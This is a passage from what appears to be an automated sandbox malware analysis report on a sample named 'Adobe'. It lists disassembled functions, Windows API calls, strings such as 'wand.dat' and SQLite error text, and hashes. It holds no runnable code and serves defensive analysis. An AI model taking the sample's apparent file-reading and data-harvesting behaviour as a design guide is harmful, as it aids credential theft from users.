                                                                                        • CreateFileW.KERNEL32(00000002,40000000,00000000,00000000,00000002,00000000,00000000,?,00000000,?,00411B67,?,General), ref: 004147C1
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 004147C8
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: wcscpy$CloseCreateFileHandle
                                                                                        • String ID: General
                                                                                        • API String ID: 999786162-26480598
                                                                                        • Opcode ID: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                                                                                        • Instruction ID: 029e45c8424a23c50dbc4d8c1dfe1f9d14d00e2cf8bd1bf10ef2c4f99c7741b7
                                                                                        • Opcode Fuzzy Hash: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                                                                                        • Instruction Fuzzy Hash: 52F024B30083146FF7205B509C85EAF769CEB86369F25482FF05592092C7398C448669
                                                                                        Function 0040973C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ErrorLastMessage_snwprintf
                                                                                        • String ID: Error$Error %d: %s
                                                                                        • API String ID: 313946961-1552265934
                                                                                        • Opcode ID: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                                                                                        • Instruction ID: 46023337ddced075b6ccb796d059e6b1f6412beb8ed51135551ede388a9512b7
                                                                                        • Opcode Fuzzy Hash: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                                                                                        • Instruction Fuzzy Hash: C1F0A7765402086BDB11A795DC06FDA73BCFB45785F0404ABB544A3181DAB4EA484A59
                                                                                        Function 00431671 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 231COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        • foreign key on %s should reference only one column of table %T, xrefs: 004316CD
                                                                                        • unknown column "%s" in foreign key definition, xrefs: 00431858
                                                                                        • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 004316F5
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpy
                                                                                        • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                                                                                        • API String ID: 3510742995-272990098
                                                                                        • Opcode ID: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                                                                                        • Instruction ID: d29657cdd308451ad819b70b0710bc7d1770ace047979dc07f2e4ef1020519d4
                                                                                        • Opcode Fuzzy Hash: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                                                                                        • Instruction Fuzzy Hash: B7913E75A00205DFCB14DF99C481AAEBBF1FF49314F25815AE805AB312DB35E941CF99
                                                                                        Function 0044A6E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 84COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0044A6EB
                                                                                        • memset.MSVCRT ref: 0044A6FB
                                                                                        • memcpy.MSVCRT(?,?,?,00000000,?,?,00000000,?,?,00000000), ref: 0044A75D
                                                                                        • memcpy.MSVCRT(?,?,?,?,?,00000000,?,?,00000000), ref: 0044A7AA
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpymemset
                                                                                        • String ID: gj
                                                                                        • API String ID: 1297977491-4203073231
                                                                                        • Opcode ID: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                                                                                        • Instruction ID: b45f8a370873a883e9703370fbfe8b0477d3556cf02d11e6db591a78d085f858
                                                                                        • Opcode Fuzzy Hash: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                                                                                        • Instruction Fuzzy Hash: 95213DB67403002BE7209A39CC4165B7B6D9FC6318F0A481EF6464B346E67DD605C756
                                                                                        Function 0041748F Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • AreFileApisANSI.KERNEL32 ref: 00417497
                                                                                        • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004174B7
                                                                                        • malloc.MSVCRT ref: 004174BD
                                                                                        • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 004174DB
                                                                                        • free.MSVCRT ref: 004174E4
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide$ApisFilefreemalloc
                                                                                        • String ID:
                                                                                        • API String ID: 4053608372-0
                                                                                        • Opcode ID: 26b6d0d827bb447631a2da2f7ad9fad7d37cc7249bf214c4621a9d0d58d44de2
                                                                                        • Instruction ID: 68224c9aa4b31b20fa5037399352f9c2f04b40a845063e8f60522cdb36b448b3
                                                                                        • Opcode Fuzzy Hash: 26b6d0d827bb447631a2da2f7ad9fad7d37cc7249bf214c4621a9d0d58d44de2
                                                                                        • Instruction Fuzzy Hash: DE01A4B150412DBEAF115FA99C80CAF7E7CEA463FC721422AF514E2290DA345E405AB9
                                                                                        Function 0040D441 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetParent.USER32(?), ref: 0040D453
                                                                                        • GetWindowRect.USER32(?,?), ref: 0040D460
                                                                                        • GetClientRect.USER32(00000000,?), ref: 0040D46B
                                                                                        • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0040D47B
                                                                                        • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040D497
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Window$Rect$ClientParentPoints
                                                                                        • String ID:
                                                                                        • API String ID: 4247780290-0
                                                                                        • Opcode ID: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                        • Instruction ID: 8744084584fea1eb3916f9079d499296a2dd08f7759f51c0708cf8f54c9212ed
                                                                                        • Opcode Fuzzy Hash: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                        • Instruction Fuzzy Hash: 62018836801129BBDB11EBA6CC49EFFBFBCFF06310F048069F901A2180D778A5018BA5
                                                                                        Function 00445093 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                        • GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                        • ??2@YAPAXI@Z.MSVCRT(0000000A,?,?,00000104), ref: 004450BE
                                                                                        • memset.MSVCRT ref: 004450CD
                                                                                          • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                        • ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                          • Part of subcall function 00444E84: memchr.MSVCRT ref: 00444EBF
                                                                                          • Part of subcall function 00444E84: memcpy.MSVCRT(?,0044EB0C,0000000B,?,?,?,00000000,00000000,00000000), ref: 00444F63
                                                                                          • Part of subcall function 00444E84: memcpy.MSVCRT(?,00000001,00000008,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00444F75
                                                                                          • Part of subcall function 00444E84: memcpy.MSVCRT(?,?,00000010,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00444F9D
                                                                                        • CloseHandle.KERNEL32(00000000,?,?,00000104), ref: 004450F7
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
                                                                                        • String ID:
                                                                                        • API String ID: 1471605966-0
                                                                                        • Opcode ID: 2aed10359402c50519c1c236b6adb34ede6eedef97d485569bed8d1556fc9971
                                                                                        • Instruction ID: af7e2442fb2a0afe256a59df9b01c6fa6c67666c78107f96d02934f32f814c95
                                                                                        • Opcode Fuzzy Hash: 2aed10359402c50519c1c236b6adb34ede6eedef97d485569bed8d1556fc9971
                                                                                        • Instruction Fuzzy Hash: D8F0C2765002107BE5207736AC8AEAB3A5CDF96771F11893FF416921D2EE698814C1BD
                                                                                        Function 0044474A Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • wcscpy.MSVCRT ref: 0044475F
                                                                                        • wcscat.MSVCRT ref: 0044476E
                                                                                        • wcscat.MSVCRT ref: 0044477F
                                                                                        • wcscat.MSVCRT ref: 0044478E
                                                                                          • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                          • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                          • Part of subcall function 00409A90: lstrcpyW.KERNEL32(?,?,004447CD,?,?,?,00000000,?), ref: 00409AA5
                                                                                          • Part of subcall function 00409A90: lstrlenW.KERNEL32(?), ref: 00409AAC
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: wcscat$lstrcpylstrlenmemcpywcscpywcslen
                                                                                        • String ID: \StringFileInfo\
                                                                                        • API String ID: 102104167-2245444037
                                                                                        • Opcode ID: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                                                                                        • Instruction ID: e4f437c51a7ffcfb72b972a214432876dbdec8abc2c75880463b8380eb377783
                                                                                        • Opcode Fuzzy Hash: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                                                                                        • Instruction Fuzzy Hash: 41018FB290021DB6EF10EAA1DC45EDF73BCAB05304F0004B7B514F2052EE38DB969B69
                                                                                        Function 004100D7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004100FB
                                                                                        • memset.MSVCRT ref: 00410112
                                                                                          • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                                                                                          • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                                                                                        • _snwprintf.MSVCRT ref: 00410141
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$_snwprintf_wcslwrwcscpy
                                                                                        • String ID: </%s>
                                                                                        • API String ID: 3400436232-259020660
                                                                                        • Opcode ID: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                                                                                        • Instruction ID: d6b380c41b5e3e458bf6abeca455f552dea24a705517b0a2e3702c553642f250
                                                                                        • Opcode Fuzzy Hash: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                                                                                        • Instruction Fuzzy Hash: 9B01DBF3D0012977D730A755CC46FEA76ACEF45304F0000B6BB08B3186DB78DA458A99
                                                                                        Function 0040D553 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040D58D
                                                                                        • SetWindowTextW.USER32(?,?), ref: 0040D5BD
                                                                                        • EnumChildWindows.USER32(?,Function_0000D4F5,00000000), ref: 0040D5CD
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ChildEnumTextWindowWindowsmemset
                                                                                        • String ID: caption
                                                                                        • API String ID: 1523050162-4135340389
                                                                                        • Opcode ID: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                                                                                        • Instruction ID: dcfab03f3ae0740f4c11e1fd8af26e22289cdce227bdcda27870e2dbaf68b2c3
                                                                                        • Opcode Fuzzy Hash: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                                                                                        • Instruction Fuzzy Hash: 50F08131D0031876FB206B95CC4EB8A3268AB04744F000076BE04B61D2DBB8EA44C69D
                                                                                        Function 00401137 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00409BFD: memset.MSVCRT ref: 00409C07
                                                                                          • Part of subcall function 00409BFD: wcscpy.MSVCRT ref: 00409C47
                                                                                        • CreateFontIndirectW.GDI32(?), ref: 00401156
                                                                                        • SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 00401175
                                                                                        • SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 00401193
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
                                                                                        • String ID: MS Sans Serif
                                                                                        • API String ID: 210187428-168460110
                                                                                        • Opcode ID: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                                                                                        • Instruction ID: 44e142790c58e2983bb51e892a2c7280827b5342727586ee11fe1c2be2fb852b
                                                                                        • Opcode Fuzzy Hash: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                                                                                        • Instruction Fuzzy Hash: 7CF082B5A4030877EB326BA1DC46F9A77BDBB44B01F040935F721B91D1D3F4A585C658
                                                                                        Function 004055C5 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040560C
                                                                                          • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                          • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                          • Part of subcall function 0040D134: memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                          • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                          • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                          • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                          • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                                                                                          • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                                                                                          • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                                                                                          • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                          • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                                                                                          • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                          • Part of subcall function 0040A212: wcscpy.MSVCRT ref: 0040A269
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                                                                                        • String ID: *.*$dat$wand.dat
                                                                                        • API String ID: 2618321458-1828844352
                                                                                        • Opcode ID: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                                                                                        • Instruction ID: e27ea46a2f82f1f177a07810d763c9ecc86b2647b265d762bc330c580f82b585
                                                                                        • Opcode Fuzzy Hash: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                                                                                        • Instruction Fuzzy Hash: BF419B71600205AFDB10AF65DC85EAEB7B9FF40314F10802BF909AB1D1EF7999958F89
                                                                                        Function 00412018 Relevance: 6.1, APIs: 4, Instructions: 99windowkeyboardCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 00412057
                                                                                          • Part of subcall function 0040A116: ShellExecuteW.SHELL32(?,open,?,0044E518,0044E518,00000005), ref: 0040A12C
                                                                                        • SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 004120C7
                                                                                        • GetMenuStringW.USER32(?,00000103,?,0000004F,00000000), ref: 004120E1
                                                                                        • GetKeyState.USER32(00000010), ref: 0041210D
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ExecuteMenuMessageSendShellStateStringmemset
                                                                                        • String ID:
                                                                                        • API String ID: 3550944819-0
                                                                                        • Opcode ID: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                                                                                        • Instruction ID: 97bad96470fefb965444fbd8e179d7ef3b872eae7f66eff2ef5a186de824ffeb
                                                                                        • Opcode Fuzzy Hash: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                                                                                        • Instruction Fuzzy Hash: 5341C330600305EBDB209F15CD88B9677A8AB54324F10817AEA699B2E2D7B89DD1CB14
                                                                                        Function 0040F508 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • free.MSVCRT ref: 0040F561
                                                                                        • memcpy.MSVCRT(00000000,?,00000001,g4@,00000000,0000121C,?,?,?,00403467), ref: 0040F573
                                                                                        • memcpy.MSVCRT(00000000,?,?,00000000), ref: 0040F5A6
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpy$free
                                                                                        • String ID: g4@
                                                                                        • API String ID: 2888793982-2133833424
                                                                                        • Opcode ID: 37ff6d91120af751e53e18efb23c18060f8529393ff4323a563ff9c980eac345
                                                                                        • Instruction ID: 6372a4083673351870aa2a156e9431cadfa41d37230e9e7fabcd635cb7c3c96e
                                                                                        • Opcode Fuzzy Hash: 37ff6d91120af751e53e18efb23c18060f8529393ff4323a563ff9c980eac345
                                                                                        • Instruction Fuzzy Hash: D2217A30900604EFCB20DF29C94182ABBF5FF447247204A7EE852A3B91E735EE119B04
                                                                                        Function 004144BB Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004144E7
                                                                                          • Part of subcall function 0040A353: _snwprintf.MSVCRT ref: 0040A398
                                                                                          • Part of subcall function 0040A353: memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 0040A3A8
                                                                                        • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00414510
                                                                                        • memset.MSVCRT ref: 0041451A
                                                                                        • GetPrivateProfileStringW.KERNEL32(?,?,0044E518,?,00002000,?), ref: 0041453C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
                                                                                        • String ID:
                                                                                        • API String ID: 1127616056-0
                                                                                        • Opcode ID: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                                                                                        • Instruction ID: e03fcf36bb778615f94f946172f2cadce4c7e53e7889dedf6030812535802df7
                                                                                        • Opcode Fuzzy Hash: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                                                                                        • Instruction Fuzzy Hash: 9A1170B1500119BFEF115F65EC02EDA7B69EF04714F100066FB09B2060E6319A60DB9D
                                                                                        Function 00417434 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,7591DF80,?,0041755F,?), ref: 00417452
                                                                                        • malloc.MSVCRT ref: 00417459
                                                                                        • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,7591DF80,?,0041755F,?), ref: 00417478
                                                                                        • free.MSVCRT ref: 0041747F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide$freemalloc
                                                                                        • String ID:
                                                                                        • API String ID: 2605342592-0
                                                                                        • Opcode ID: 393c83f8647a4e4e905b151b9ea1406947fc62e9018515f0e7f821d7fee9a8df
                                                                                        • Instruction ID: 8389f0226c663b3c6d8c6253af8546a3d73aba679155ae8f7c82d0c1376384d0
                                                                                        • Opcode Fuzzy Hash: 393c83f8647a4e4e905b151b9ea1406947fc62e9018515f0e7f821d7fee9a8df
                                                                                        • Instruction Fuzzy Hash: 1DF0E9B620D21E3F7B006AB55CC0C7B7B9CD7862FCB11072FF51091180E9594C1116B6
                                                                                        Function 004123E2 Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 00412403
                                                                                        • RegisterClassW.USER32(?), ref: 00412428
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 0041242F
                                                                                        • CreateWindowExW.USER32(00000000,00000000,0044E518,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 00412455
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: HandleModule$ClassCreateRegisterWindow
                                                                                        • String ID:
                                                                                        • API String ID: 2678498856-0
                                                                                        • Opcode ID: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                                                                                        • Instruction ID: 2742b6e08e64d4f702ac0bdc031c2178a10537c5a2141806c9029dd5a11ba4c1
                                                                                        • Opcode Fuzzy Hash: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                                                                                        • Instruction Fuzzy Hash: E601E5B1941228ABD7119FA68C89ADFBEBCFF09B14F10411AF514A2240D7B456408BE9
                                                                                        Function 0040F64E Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040F673
                                                                                        • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00007FFF,00000000,00000000,?,<item>), ref: 0040F690
                                                                                        • strlen.MSVCRT ref: 0040F6A2
                                                                                        • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F6B3
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                        • String ID:
                                                                                        • API String ID: 2754987064-0
                                                                                        • Opcode ID: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                                                                                        • Instruction ID: e5447571fde1e0de43d26e7f5909b1ba013d3ab3fbf9ce0dfcc5e01eb4e41d37
                                                                                        • Opcode Fuzzy Hash: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                                                                                        • Instruction Fuzzy Hash: 03F062B680102C7FEB81A794DC81DEB77ACEB05258F0080B2B715D2140E9749F484F7D
                                                                                        Function 0040F6BD Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040F6E2
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,<item>), ref: 0040F6FB
                                                                                        • strlen.MSVCRT ref: 0040F70D
                                                                                        • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F71E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                        • String ID:
                                                                                        • API String ID: 2754987064-0
                                                                                        • Opcode ID: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                                                                                        • Instruction ID: 4069f22fd96ae38f7b0fbed24adb75974e75abfa9f51d26af0f678a77882025e
                                                                                        • Opcode Fuzzy Hash: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                                                                                        • Instruction Fuzzy Hash: C8F06DB780022CBFFB059B94DCC8DEB77ACEB05254F0000A2B715D2042E6749F448BB8
                                                                                        Function 0041437B Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00409D7F: memset.MSVCRT ref: 00409D9E
                                                                                          • Part of subcall function 00409D7F: GetClassNameW.USER32(?,00000000,000000FF), ref: 00409DB5
                                                                                          • Part of subcall function 00409D7F: _wcsicmp.MSVCRT ref: 00409DC7
                                                                                        • SetBkMode.GDI32(?,00000001), ref: 004143A2
